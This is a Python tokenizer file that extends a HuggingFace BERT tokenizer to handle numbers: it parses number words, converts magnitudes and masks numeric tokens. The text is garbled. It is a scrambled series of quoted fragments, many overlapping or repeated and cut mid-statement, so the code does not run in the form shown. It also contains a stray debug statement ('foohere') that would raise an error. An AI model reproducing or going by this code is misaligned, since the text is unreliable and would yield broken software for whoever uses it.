kwargs['do_lower_case'] = True", "zip(output_tokens,split_sigfigs) # return output_tokens, # _numbers = '[0-9]*\\.?[0-9]+([eE][-+]?[0-9]+)?' # fraction_pattern", "do_lower_case=True, never_split=None, tokenize_chinese_chars=True): \"\"\" Constructs a BasicTokenizer. Args: **do_lower_case**: Whether", "10.0, 'eleven': 11.0, 'twelve': 12.0, 'thirteen': 13.0, 'fourteen': 14.0, 'fifteen':", "vocabulary from a Google pretrained \" \"model use `tokenizer =", "from a Google pretrained \" \"model use `tokenizer = BertNumericalTokenizer.from_pretrained(PRETRAINED_MODEL_NAME)`\".format(vocab_file))", "words_lower[i] == 'a' and words_lower[i+1] in Magnitude_with_hundred: words[i] = 'one'", "[word for word in sent.strip().split()] tokenizer = BasicTokenizer(do_lower_case=True, never_split=never_split) words", "Japanese: see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" if never_split is None: never_split =", "is_bad: output_tokens.append(self.unk_token) numeric_values.append(self.default_value)#-9e9 numeric_mask.append(0) else: numeric_values.extend([self.default_value]*len(sub_tokens))#-9e9 numeric_mask.extend([0]*len(sub_tokens)) output_tokens.extend(sub_tokens) assert len(numeric_values)", "sub_tokens.append(cur_substr) start = end if is_number: #ACTUAL NUMBER HERE output_tokens.append(self.unk_num)", "['infinity', 'inf', 'nan']: int_word = float(new_word) # words[i] = str(int_word)", "the input. **never_split**: (`optional`) list of str Kept for backward", ">= 33 and cp <= 47) or (cp >= 58", "IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,", "when do_wordpiece_only=False do_basic_tokenize: Whether to do basic tokenization before wordpiece.", "text): \"\"\"Adds whitespace around any CJK character.\"\"\" output = []", "'one': 1.0, 'two': 2.0, 'three': 3.0, 'four': 4.0, 'five': 5.0,", "To load the vocabulary from a Google pretrained \" \"model", "512, 'bert-large-uncased-whole-word-masking': 512, 'bert-large-cased-whole-word-masking': 512, 'bert-large-uncased-whole-word-masking-finetuned-squad': 512, 'bert-large-cased-whole-word-masking-finetuned-squad': 512, 'bert-base-cased-finetuned-mrpc':", "= vocab self.unk_token = unk_token self.unk_num = unk_num self.default_value =", "58 and cp <= 64) or (cp >= 91 and", "True output = [] while i < len(chars): char =", "# https://en.wikipedia.org/wiki/CJK_Unified_Ideographs_(Unicode_block) # # Note that the CJK Unicode block", "using the vocab.\"\"\" return self.ids_to_tokens.get(index, self.unk_token) def convert_tokens_to_string(self, tokens): \"\"\"", "character.\"\"\" # \\t, \\n, and \\r are technically contorl characters", "'bert-large-cased-whole-word-masking-finetuned-squad': 512, 'bert-base-cased-finetuned-mrpc': 512, } def load_vocab(vocab_file): \"\"\"Loads a vocabulary", "in a single string. \"\"\" out_string = ' '.join(tokens).replace(' ##',", "return False def _is_control(char): \"\"\"Checks whether `chars` is a control", "\"white spaces\" only, for sub-word tokenization, see WordPieceTokenizer. Args: **never_split**:", "len(chars): char = chars[i] #dont split on periods if number", "PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES: if '-cased' in pretrained_model_name_or_path and kwargs.get('do_lower_case', True): logger.warning(\"The pre-trained", "\".join(split_tokens)) output_sigfigs = whitespace_tokenize(\" \".join(split_sigfigs)) return zip(output_tokens,split_sigfigs) # return output_tokens,", "def tokenize(self, text, never_split=None): \"\"\" Basic Tokenization of a piece", "are loading is an uncased model but you have set", "'vocab_file': { 'bert-base-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-uncased-vocab.txt\", 'bert-large-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-vocab.txt\", 'bert-base-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-vocab.txt\", 'bert-large-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-vocab.txt\",", "return numeric_masks if get_values: return numeric_values assert len(split_tokens) == len(numeric_values)", "file except in compliance with the License. # You may", "< len(words)-1: if check_int(words_lower[i]) and words_lower[i+1] in Magnitude_with_hundred: new_words.append(str(float(words_lower[i]) *", "= 0 for (token, sigfig) in self.numerical_tokenizer.tokenize(text, never_split=self.all_special_tokens): for (sub_token,", "start_new_word = True else: if start_new_word: output.append([]) start_new_word = False", "= '$%' # text = self._clean_text(text) # orig_tokens = whitespace_tokenize(text)", "but you have set \" \"`do_lower_case` to False. We are", "is None: is_bad = True break sub_tokens.append(cur_substr) start = end", "= False start = 0 sub_tokens = [] while start", "CJK Unicode block: # https://en.wikipedia.org/wiki/CJK_Unified_Ideographs_(Unicode_block) # # Note that the", "output.append([]) start_new_word = False output[-1].append(char) i += 1 return [\"\".join(x)", "= { 'bert-base-uncased': 512, 'bert-large-uncased': 512, 'bert-base-cased': 512, 'bert-large-cased': 512,", "tokenize_chinese_chars=True, **kwargs): \"\"\"Constructs a BertNumericalTokenizer. Args: **vocab_file**: Path to a", "0 # number = 0.0 for i, word in enumerate(words):", "HuggingFace Inc. team. # # Licensed under the Apache License,", "behavior.\") kwargs['do_lower_case'] = True return super(BertNumericalTokenizer, cls)._from_pretrained(pretrained_model_name_or_path, *inputs, **kwargs) class", "and cp <= 0x2CEAF) or (cp >= 0xF900 and cp", "_is_control(char): continue if _is_whitespace(char): output.append(\" \") else: output.append(char) return \"\".join(output)", "== \" \" or char == \"\\t\" or char ==", "sorts\") elif i != 0: magnitude = Magnitude.get(word, None) if", "files. \"\"\" if pretrained_model_name_or_path in PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES: if '-cased' in pretrained_model_name_or_path", "def _convert_id_to_token(self, index): \"\"\"Converts an index (integer) in a token", "= False end = len(chars) cur_substr = None while start", "magnitude is not None: mantissa = mantissa*magnitude else: # non-number", "'0123456789' # punctuation = '$%' # text = self._clean_text(text) #", "input = \"unaffable\" output = [\"un\", \"##aff\", \"##able\"] Args: text:", "the vocabulary is not corrupted!\".format(vocab_file)) index = token_index writer.write(token +", "split_tokens.extend(self._run_split_on_punc(token)) output_tokens = whitespace_tokenize(\" \".join(split_tokens)) return output_tokens def _run_strip_accents(self, text):", "of string List of tokens which will never be split", "enumerate(tokens): token = token.rstrip('\\n') vocab[token] = index return vocab def", "do_split = False else: do_split = False if do_split: output.append([char])", "NumberException: if j == i+1: out_sigfigs.append('-1') out_words.append(words[i]) i += 1", "they are generally considered as such. if char == \"", "must be a number of sorts\") elif i != 0:", ">= 0x2B740 and cp <= 0x2B81F) or # (cp >=", "after preprocessing Magnitude_with_hundred = Magnitude.copy() Magnitude_with_hundred['hundred'] = 100 # convert", "vocab_size(self): return len(self.vocab) def _tokenize(self, text, get_values=False, get_sigfigs=None, get_numeric_masks=None): split_tokens", "and sub_token != self.unk_num: print(sub_token, numeric_value) foohere if get_numeric_masks: return", "while start < len(chars): try: if token not in ['infinity',", "remove commas from numbers \"2,000\" -> 2000 and remove endings", "get_sigfigs=None, get_numeric_masks=None): split_tokens = [] numeric_values = [] numeric_masks =", "or (cp >= 58 and cp <= 64) or (cp", "'a' and words_lower[i+1] in Magnitude_with_hundred: words[i] = 'one' # convert", "= 100 # convert \"a {hundred,thousand,million,...}\" to \"one {hundred,thousand,million,...}\" for", "and words_lower[i+1] in Magnitude_with_hundred: words[i] = 'one' # convert \"24", "len(chars) cur_substr = None while start < end: substr =", "Chinese # models. This is also applied to the English", "output.append(char) return \"\".join(output) def _is_chinese_char(self, cp): \"\"\"Checks whether CP is", "words, sigfigs = preprocess(sent, remove_pos, never_split) out_sigfigs = [] i", "and cp <= 0x2FA1F)): # return True return False def", "not trained on any Chinese data # and generally don't", "orig_tokens: if self.do_lower_case and token not in never_split: token =", "KIND, either express or implied. # See the License for", "range(n)]) def check_int(s): if s[0] in ('-', '+'): return s[1:].isdigit()", "os.path.isfile(vocab_file): raise ValueError( \"Can't find a vocabulary file at path", "in the vocabulary because Wikipedia does have some Chinese #", "Tokenization of a piece of text. Args: **never_split**: (`optional`) list", "= \"\".join(chars[start:end]) if start > 0: substr = \"##\" +", "never_split = [] self.do_lower_case = do_lower_case self.never_split = never_split self.tokenize_chinese_chars", "= [] numeric_values = [] numeric_masks = [] split_sigfigs =", "return False def _clean_text(self, text): \"\"\"Performs invalid character removal and", "is a control character.\"\"\" # These are technically control characters", "treat all non-letter/number ASCII as punctuation. # Characters such as", "or # (cp >= 0x2B820 and cp <= 0x2CEAF) or", "a BasicTokenizer. Args: **do_lower_case**: Whether to lower case the input.", "return (vocab_file,) @classmethod def from_pretrained(cls, pretrained_model_name_or_path, *inputs, **kwargs): \"\"\" Instantiate", "in sent] # n = 0 # g = 0", "'bert-large-cased-whole-word-masking': 512, 'bert-large-uncased-whole-word-masking-finetuned-squad': 512, 'bert-large-cased-whole-word-masking-finetuned-squad': 512, 'bert-base-cased-finetuned-mrpc': 512, } def", "that the vocabulary is not corrupted!\".format(vocab_file)) index = token_index writer.write(token", "str(int_word) words[i] = new_word except ValueError: pass # only modify", "like the all of the other languages. if ((cp >=", "return True return False def _is_control(char): \"\"\"Checks whether `chars` is", "1000000000000000000.0, 'sextillion': 1000000000000000000000.0, 'septillion': 1000000000000000000000000.0, 'octillion': 1000000000000000000000000000.0, 'nonillion': 1000000000000000000000000000000.0, }", "This was added on November 1st, 2018 for the multilingual", "(the \"License\"); # you may not use this file except", "= len(chars) cur_substr = None while start < end: substr", "Magnitude.get(word, None) if magnitude is not None: mantissa = mantissa*magnitude", "and cp <= 0xFAFF) or # (cp >= 0x2F800 and", "# if cat.startswith(\"P\") and cp != 46: if cat.startswith(\"P\"): return", "number words to digits. :param sent: sentence (str) :return: a", "model but you have not set \" \"`do_lower_case` to False.", "0xfffd or _is_control(char): continue if _is_whitespace(char): output.append(\" \") else: output.append(char)", "or (cp >= 91 and cp <= 96) or (cp", "self._clean_text(text) # orig_tokens = whitespace_tokenize(text) split_tokens, split_sigfigs = normalize_numbers_in_sent(text) output_tokens", "since the English models were not trained on any Chinese", "this behavior.\") kwargs['do_lower_case'] = False elif '-cased' not in pretrained_model_name_or_path", "level (see :func:`PreTrainedTokenizer.tokenize`) List of token not to split. \"\"\"", "or # (cp >= 0x2B740 and cp <= 0x2B81F) or", "self).__init__(unk_token=unk_token, sep_token=sep_token, pad_token=pad_token, cls_token=cls_token, mask_token=mask_token, **kwargs) if not os.path.isfile(vocab_file): raise", "else: words = [word for word in sent.strip().split()] tokenizer =", "tokens): \"\"\" Converts a sequence of tokens (string) in a", "= logging.getLogger(__name__) VOCAB_FILES_NAMES = {'vocab_file': 'vocab.txt'} PRETRAINED_VOCAB_FILES_MAP = { 'vocab_file':", "alphabets are used to write # space-separated words, so they", "**kwargs) class NumericalTokenizer(object): \"\"\"Runs basic tokenization (punctuation splitting, lower casing,", "\"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-vocab.txt\", 'bert-large-uncased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-large-cased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-base-cased-finetuned-mrpc': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-finetuned-mrpc-vocab.txt\", } } PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES", "import PreTrainedTokenizer logger = logging.getLogger(__name__) VOCAB_FILES_NAMES = {'vocab_file': 'vocab.txt'} PRETRAINED_VOCAB_FILES_MAP", "# # Unless required by applicable law or agreed to", "\"\"\" Converts a token (str/unicode) in an id using the", "len(self.vocab) def _tokenize(self, text, get_values=False, get_sigfigs=None, get_numeric_masks=None): split_tokens = []", ">= 91 and cp <= 96) or (cp >= 123", "logger = logging.getLogger(__name__) VOCAB_FILES_NAMES = {'vocab_file': 'vocab.txt'} PRETRAINED_VOCAB_FILES_MAP = {", "# (cp >= 0x2F800 and cp <= 0x2FA1F)): # return", "\"one {hundred,thousand,...}\" so it can be handled by text2num function", "'.join(tokens) words_lower = [word.lower() for word in words] # remove", "== 0 or cp == 0xfffd or _is_control(char): continue if", "cleaning and splitting on a piece of text.\"\"\" text =", "setting `do_lower_case=True` for you \" \"but you may want to", "in self.vocab and is_number == False: cur_substr = substr break", "replaced it with a number break except NumberException: if j", "= [] self.do_lower_case = do_lower_case self.never_split = never_split def tokenize(self,", "len(numeric_values) == len(split_sigfigs) if get_sigfigs: return split_sigfigs return split_tokens def", "if magnitude is not None: mantissa = mantissa*magnitude else: #", "cat = unicodedata.category(char) if cat == \"Zs\": return True return", "if char == \" \" or char == \"\\t\" or", "implied. # See the License for the specific language governing", "(cp >= 0x3400 and cp <= 0x4DBF) or # (cp", "'bert-large-cased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-base-cased-finetuned-mrpc': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-finetuned-mrpc-vocab.txt\", } } PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = { 'bert-base-uncased':", "0x2B820 and cp <= 0x2CEAF) or (cp >= 0xF900 and", "split during tokenization. Only has an effect when do_basic_tokenize=True **tokenize_chinese_chars**:", "substr in self.vocab and is_number == False: cur_substr = substr", "= unicodedata.category(char) if cat == \"Mn\": continue output.append(char) return \"\".join(output)", "Copyright 2018 The Google AI Language Team Authors and The", "== '': out_sigfigs.append(' '.join(words[i:j])) else: out_sigfigs.append(sigfigs[i]) out_words.append(number) i = j-1", "and \\r are technically contorl characters but we treat them", "self.numerical_tokenizer = NumericalTokenizer(do_lower_case=do_lower_case, never_split=never_split) if do_basic_tokenize: self.basic_tokenizer = BasicTokenizer(do_lower_case=do_lower_case, never_split=never_split,", "== 0: if _is_punctuation(char): if i == 0: do_split =", "and cp <= 0x2B81F) or # (cp >= 0x2B820 and", "sent.strip().split()] elif type(sent) is list: words = [word.lower() for word", "split. \"\"\" if never_split is None: never_split = [] self.do_lower_case", "-1): try: number = str(text2num(words[i:j])) if sigfigs[i] == '': out_sigfigs.append('", "models were not trained on any Chinese data # and", "i < len(words)-1: if check_int(words_lower[i]) and words_lower[i+1] in Magnitude_with_hundred: new_words.append(str(float(words_lower[i])", "or # (cp >= 0x20000 and cp <= 0x2A6DF) or", "_is_punctuation(char): \"\"\"Checks whether `chars` is a punctuation character.\"\"\" cp =", "pretrained_model_name_or_path and kwargs.get('do_lower_case', True): logger.warning(\"The pre-trained model you are loading", "token not to split. \"\"\" never_split = self.never_split + (never_split", "compatibility purposes. Now implemented directly at the base class level", "(see :func:`PreTrainedTokenizer.tokenize`) List of token not to split. \"\"\" #", "been passed through `BasicTokenizer`. Returns: A list of wordpiece tokens.", "= False elif '-cased' not in pretrained_model_name_or_path and not kwargs.get('do_lower_case',", "!= token_index: logger.warning(\"Saving vocabulary to {}: vocabulary indices are not", "13.0, 'fourteen': 14.0, 'fifteen': 15.0, 'sixteen': 16.0, 'seventeen': 17.0, 'eighteen':", "(there are Chinese # characters in the vocabulary because Wikipedia", "'bert-base-multilingual-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-uncased-vocab.txt\", 'bert-base-multilingual-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-cased-vocab.txt\", 'bert-base-chinese': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-chinese-vocab.txt\", 'bert-base-german-cased': \"https://int-deepset-models-bert.s3.eu-central-1.amazonaws.com/pytorch/bert-base-german-cased-vocab.txt\", 'bert-large-uncased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-vocab.txt\",", "sigfig) in self.numerical_tokenizer.tokenize(text, never_split=self.all_special_tokens): for (sub_token, numeric_value, numeric_mask) in self.wordpiece_tokenizer.tokenize(token):", "[] words, sigfigs = preprocess(sent, remove_pos, never_split) out_sigfigs = []", "on periods if number is before it # if _is_punctuation(char)", "or # (cp >= 0x2A700 and cp <= 0x2B73F) or", "io import open from transformers import PreTrainedTokenizer logger = logging.getLogger(__name__)", "int_word = float(new_word) # words[i] = str(int_word) words[i] = new_word", "cp <= 47) or (cp >= 58 and cp <=", "'': out_sigfigs.append(' '.join(words[i:j])) else: out_sigfigs.append(sigfigs[i]) out_words.append(number) i = j-1 #", "def _is_control(char): \"\"\"Checks whether `chars` is a control character.\"\"\" #", "else: if start_new_word: output.append([]) start_new_word = False output[-1].append(char) i +=", "a piece of text.\"\"\" text = unicodedata.normalize(\"NFD\", text) output =", "Exception.__init__(self, msg) def text2num(sent): if type(sent) is str: words =", "an id using the vocab. \"\"\" return self.vocab.get(token, self.vocab.get(self.unk_token)) def", "output_tokens = whitespace_tokenize(\" \".join(split_tokens)) output_sigfigs = whitespace_tokenize(\" \".join(split_sigfigs)) return zip(output_tokens,split_sigfigs)", "= [] numeric_masks = [] split_sigfigs = [] i =", "of words that should be passed into text2num. \"\"\" if", "Unless required by applicable law or agreed to in writing,", "but \" \"you may want to check this behavior.\") kwargs['do_lower_case']", "\"\"\"Performs invalid character removal and whitespace cleanup on text.\"\"\" output", "words_lower[i].replace(',', '') if new_word.endswith(('th', 'rd', 'st', 'nd')): new_word = new_word[:-2]", "vocabulary is not corrupted!\".format(vocab_file)) index = token_index writer.write(token + u'\\n')", "tokens. This should have already been passed through `BasicTokenizer`. Returns:", "NumberException(Exception): def __init__(self, msg): Exception.__init__(self, msg) def text2num(sent): if type(sent)", "0.0, 'one': 1.0, 'two': 2.0, 'three': 3.0, 'four': 4.0, 'five':", ">= 0x2B820 and cp <= 0x2CEAF) or (cp >= 0xF900", "or char == \"\\r\": return True cat = unicodedata.category(char) if", "text): \"\"\"Performs invalid character removal and whitespace cleanup on text.\"\"\"", "limitations under the License. \"\"\"Tokenization classes.\"\"\" from __future__ import absolute_import,", "the specific language governing permissions and # limitations under the", "<= 0x4DBF) or # (cp >= 0x20000 and cp <=", "cp = ord(char) # We treat all non-letter/number ASCII as", "30.0, 'forty': 40.0, 'fifty': 50.0, 'sixty': 60.0, 'seventy': 70.0, 'eighty':", "not set \" \"`do_lower_case` to False. We are setting `do_lower_case=False`", "output.append(char) return \"\".join(output) class WordpieceTokenizer(object): \"\"\"Runs WordPiece tokenization.\"\"\" def __init__(self,", "the sentence by: . remove commas from numbers (2,000 ->", "of a CJK character.\"\"\" # This defines a \"chinese character\"", "out_sigfigs.append(sigfigs[i]) out_words.append(number) i = j-1 # skip this sequence since", "= {'vocab_file': 'vocab.txt'} PRETRAINED_VOCAB_FILES_MAP = { 'vocab_file': { 'bert-base-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-uncased-vocab.txt\",", "whitespace cleanup on text.\"\"\" output = [] for char in", "is list: words = [word.lower() for word in sent] #", "whitespace_tokenize(\" \".join(split_tokens)) output_sigfigs = whitespace_tokenize(\" \".join(split_sigfigs)) return zip(output_tokens,split_sigfigs) # return", "if cp == 0 or cp == 0xfffd or _is_control(char):", "use `tokenizer = BertNumericalTokenizer.from_pretrained(PRETRAINED_MODEL_NAME)`\".format(vocab_file)) self.vocab = load_vocab(vocab_file) self.unk_num = '[UNK_NUM]'", "the underlying BERT model's sequence length. never_split: List of tokens", "(str/unicode) in an id using the vocab. \"\"\" return self.vocab.get(token,", "from ordinal numbers for i in range(len(words)): new_word = words_lower[i].replace(',',", "punctuation on a piece of text.\"\"\" if never_split is not", "self.ids_to_tokens = collections.OrderedDict( [(ids, tok) for tok, ids in self.vocab.items()])", "512, 'bert-large-uncased': 512, 'bert-base-cased': 512, 'bert-large-cased': 512, 'bert-base-multilingual-uncased': 512, 'bert-base-multilingual-cased':", "token not to split. \"\"\" if never_split is None: never_split", "to \"one {hundred,thousand,million,...}\" for i in range(len(words)-1): if words_lower[i] ==", "maximum length to truncate tokenized sequences to; Effective maximum length", "= do_basic_tokenize self.numerical_tokenizer = NumericalTokenizer(do_lower_case=do_lower_case, never_split=never_split) if do_basic_tokenize: self.basic_tokenizer =", "__future__ import absolute_import, division, print_function, unicode_literals import collections import logging", "minimum of this value (if specified) and the underlying BERT", "technically contorl characters but we treat them # as whitespace", "n = 0 # g = 0 mantissa = 0", "numeric_mask) in self.wordpiece_tokenizer.tokenize(token): split_tokens.append(sub_token) numeric_values.append(numeric_value) numeric_masks.append(numeric_mask) if numeric_value != self.default_value:", "spaces\" only, for sub-word tokenization, see WordPieceTokenizer. Args: **never_split**: (`optional`)", "\"\"\" Instantiate a BertNumericalTokenizer from pre-trained vocabulary files. \"\"\" if", "and cp <= 0x2A6DF) or # (cp >= 0x2A700 and", "Basic Numerical Tokenization of a piece of text. Args: **never_split**:", "out_string = ' '.join(tokens).replace(' ##', '').strip() return out_string def save_vocabulary(self,", "= [] numeric_mask = [] for token in whitespace_tokenize(text): chars", "'inf', 'nan']: int_word = float(new_word) # words[i] = str(int_word) words[i]", "skip this sequence since we replaced it with a number", "2: new_words.append(words[i+1]) sigs.append('') i += 1 return new_words, sigs #", "unicode_literals import collections import logging import os import sys import", "number: \"+word) return mantissa def generate_ngrams(sentence, n): return zip(*[sentence[i:] for", "classes.\"\"\" from __future__ import absolute_import, division, print_function, unicode_literals import collections", "**vocab_file**: Path to a one-wordpiece-per-line vocabulary file **do_lower_case**: (`optional`) boolean", "def text2num(sent): if type(sent) is str: words = [word.lower() for", "\"\"\"Adds whitespace around any CJK character.\"\"\" output = [] for", "unk_token=self.unk_token, unk_num=self.unk_num) @property def vocab_size(self): return len(self.vocab) def _tokenize(self, text,", "i in range(len(words)-1): if words_lower[i] == 'a' and words_lower[i+1] in", "0 if os.path.isdir(vocab_path): vocab_file = os.path.join(vocab_path, VOCAB_FILES_NAMES['vocab_file']) with open(vocab_file, \"w\",", "sentence (str) :return: a list of normalized words from the", "text in never_split: return [text] chars = list(text) i =", "return vocab def whitespace_tokenize(text): \"\"\"Runs basic whitespace cleaning and splitting", "since we replaced it with a number break except NumberException:", "Path to a one-wordpiece-per-line vocabulary file do_lower_case: Whether to lower", "do_lower_case=True, never_split=None): \"\"\" Constructs a BasicTokenizer. Args: **do_lower_case**: Whether to", "be passed into text2num. \"\"\" if remove_pos: words = [word[:word.rfind('_')]", "algorithm to perform tokenization using the given vocabulary. For example:", "= unicodedata.category(char) # if cat.startswith(\"P\") and cp != 46: if", "a cased model but you have not set \" \"`do_lower_case`", "HERE output_tokens.append(self.unk_num) numeric_values.append(numeric_value) numeric_mask.append(1) elif is_bad: output_tokens.append(self.unk_token) numeric_values.append(self.default_value)#-9e9 numeric_mask.append(0) else:", "using the given vocabulary. For example: input = \"unaffable\" output", "# Small = { 'zero': 0.0, 'one': 1.0, 'two': 2.0,", "is a whitespace character.\"\"\" # \\t, \\n, and \\r are", "char = chars[i] #dont split on periods if number is", "tok) for tok, ids in self.vocab.items()]) self.do_basic_tokenize = do_basic_tokenize self.numerical_tokenizer", "Converts a sequence of tokens (string) in a single string.", "in text: cp = ord(char) if cp == 0 or", "non-number word raise NumberException(\"Unknown number: \"+word) return mantissa def generate_ngrams(sentence,", "never_split=never_split, tokenize_chinese_chars=tokenize_chinese_chars) self.wordpiece_tokenizer = WordpieceTokenizer(vocab=self.vocab, unk_token=self.unk_token, unk_num=self.unk_num) @property def vocab_size(self):", "any CJK character.\"\"\" output = [] for char in text:", "mantissa is None: try: mantissa = float(word) except ValueError: raise", "= list(token) if len(chars) > self.max_input_chars_per_word: output_tokens.append(self.unk_token) numeric_values.append(self.default_value) numeric_mask.append(0) continue", "\") else: output.append(char) return \"\".join(output) def _is_chinese_char(self, cp): \"\"\"Checks whether", "== len(numeric_mask) return zip(output_tokens, numeric_values, numeric_mask) def _is_whitespace(char): \"\"\"Checks whether", "text = self._tokenize_chinese_chars(text) orig_tokens = whitespace_tokenize(text) split_tokens = [] for", "i += 1 return [\"\".join(x) for x in output] def", "= tokenizer.tokenize(sent) # sent = ' '.join(tokens) words_lower = [word.lower()", "end if is_number: #ACTUAL NUMBER HERE output_tokens.append(self.unk_num) numeric_values.append(numeric_value) numeric_mask.append(1) elif", "- 2: new_words.append(words[i+1]) sigs.append('') i += 1 return new_words, sigs", "unk_num=self.unk_num) @property def vocab_size(self): return len(self.vocab) def _tokenize(self, text, get_values=False,", "List of tokens which will never be split during tokenization.", "do_split: output.append([char]) start_new_word = True else: if start_new_word: output.append([]) start_new_word", "unicodedata.category(char) if cat.startswith(\"C\"): return True return False def _is_punctuation(char): \"\"\"Checks", "A single token or whitespace separated tokens. This should have", "0x4E00 and cp <= 0x9FFF) or # (cp >= 0x3400", "words_lower[i+1] in Magnitude_with_hundred: new_words.append(str(float(words_lower[i]) * Magnitude_with_hundred[words_lower[i+1]])) sigs.append(f'{words_lower[i]} {words_lower[i+1]}') i +=", "a token (str/unicode) in an id using the vocab. \"\"\"", "list(text) i = 0 start_new_word = True output = []", "= never_split self.tokenize_chinese_chars = tokenize_chinese_chars def tokenize(self, text, never_split=None): \"\"\"", "numeric_mask.extend([0]*len(sub_tokens)) output_tokens.extend(sub_tokens) assert len(numeric_values) == len(output_tokens) == len(numeric_mask) return zip(output_tokens,", "unicodedata.category(char) # if cat.startswith(\"P\") and cp != 46: if cat.startswith(\"P\"):", "lower case the input. Only has an effect when do_wordpiece_only=False", "= ' '.join(tokens) words_lower = [word.lower() for word in words]", "cp <= 0x9FFF) or # (cp >= 0x3400 and cp", "= float(new_word) # words[i] = str(int_word) words[i] = new_word except", "# matter since the English models were not trained on", "[] i = 0 while i < len(words)-1: if check_int(words_lower[i])", "tokens = text.split() return tokens class BertNumericalTokenizer(PreTrainedTokenizer): r\"\"\" Constructs a", "= [word.lower() for word in sent.strip().split()] elif type(sent) is list:", "50.0, 'sixty': 60.0, 'seventy': 70.0, 'eighty': 80.0, 'ninety': 90.0 }", "open(vocab_file, \"w\", encoding=\"utf-8\") as writer: for token, token_index in sorted(self.vocab.items(),", "True return False def _clean_text(self, text): \"\"\"Performs invalid character removal", "= float(token) is_number = True else: is_number = False except:", "splitting, lower casing, etc.).\"\"\" def __init__(self, do_lower_case=True, never_split=None, tokenize_chinese_chars=True): \"\"\"", "Chinese characters. This should likely be deactivated for Japanese: see:", "numbers \"2,000\" -> 2000 and remove endings from ordinal numbers", "License. \"\"\"Tokenization classes.\"\"\" from __future__ import absolute_import, division, print_function, unicode_literals", "lower casing, etc.).\"\"\" def __init__(self, do_lower_case=True, never_split=None): \"\"\" Constructs a", "str Kept for backward compatibility purposes. Now implemented directly at", "cp = ord(char) if cp == 0 or cp ==", "not in ['infinity', 'inf', 'nan']: numeric_value = float(token) is_number =", "5.0, 'six': 6.0, 'seven': 7.0, 'eight': 8.0, 'nine': 9.0, 'ten':", "# text = self._clean_text(text) # orig_tokens = whitespace_tokenize(text) split_tokens, split_sigfigs", "https://en.wikipedia.org/wiki/CJK_Unified_Ideographs_(Unicode_block) # # Note that the CJK Unicode block is", "token_index writer.write(token + u'\\n') index += 1 return (vocab_file,) @classmethod", "split. \"\"\" never_split = self.never_split + (never_split if never_split is", "as anything in the CJK Unicode block: # https://en.wikipedia.org/wiki/CJK_Unified_Ideographs_(Unicode_block) #", "\"\"\"Checks whether `chars` is a punctuation character.\"\"\" cp = ord(char)", "def __init__(self, vocab_file, do_lower_case=True, do_basic_tokenize=True, never_split=None, unk_token=\"[UNK]\", sep_token=\"[SEP]\", pad_token=\"[PAD]\", cls_token=\"[CLS]\",", "start < end: substr = \"\".join(chars[start:end]) if start > 0:", "periods if number is before it # if _is_punctuation(char) and", "List of token not to split. \"\"\" if never_split is", "# and generally don't have any Chinese data in them", "chars[i-1].isdigit() or _is_punctuation(char) and i == 0: if _is_punctuation(char): if", "46: if cat.startswith(\"P\"): return True return False ################ # Small", "0x2F800 and cp <= 0x2FA1F)): # return True return False", "s[0] in ('-', '+'): return s[1:].isdigit() return s.isdigit() def preprocess(sent,", "tokens = reader.readlines() for index, token in enumerate(tokens): token =", "self.vocab.get(self.unk_token)) def _convert_id_to_token(self, index): \"\"\"Converts an index (integer) in a", "handled # like the all of the other languages. if", "_tokenize(self, text, get_values=False, get_sigfigs=None, get_numeric_masks=None): split_tokens = [] numeric_values =", "You may obtain a copy of the License at #", "of text into its word pieces. This uses a greedy", "False ################ # Small = { 'zero': 0.0, 'one': 1.0,", "encoding=\"utf-8\") as writer: for token, token_index in sorted(self.vocab.items(), key=lambda kv:", "if index != token_index: logger.warning(\"Saving vocabulary to {}: vocabulary indices", "and generally don't have any Chinese data in them (there", "from numbers (2,000 -> 2000) . remove endings from ordinal", "\"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-vocab.txt\", 'bert-base-multilingual-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-uncased-vocab.txt\", 'bert-base-multilingual-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-cased-vocab.txt\", 'bert-base-chinese': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-chinese-vocab.txt\", 'bert-base-german-cased': \"https://int-deepset-models-bert.s3.eu-central-1.amazonaws.com/pytorch/bert-base-german-cased-vocab.txt\", 'bert-large-uncased-whole-word-masking':", "vocabulary file **do_lower_case**: (`optional`) boolean (default True) Whether to lower", "\") else: output.append(char) return \"\".join(output) class WordpieceTokenizer(object): \"\"\"Runs WordPiece tokenization.\"\"\"", "'zero': 0.0, 'one': 1.0, 'two': 2.0, 'three': 3.0, 'four': 4.0,", "= [word[:word.rfind('_')] for word in sent.strip().split()] else: words = [word", "= VOCAB_FILES_NAMES pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES def __init__(self,", "ord(char) if 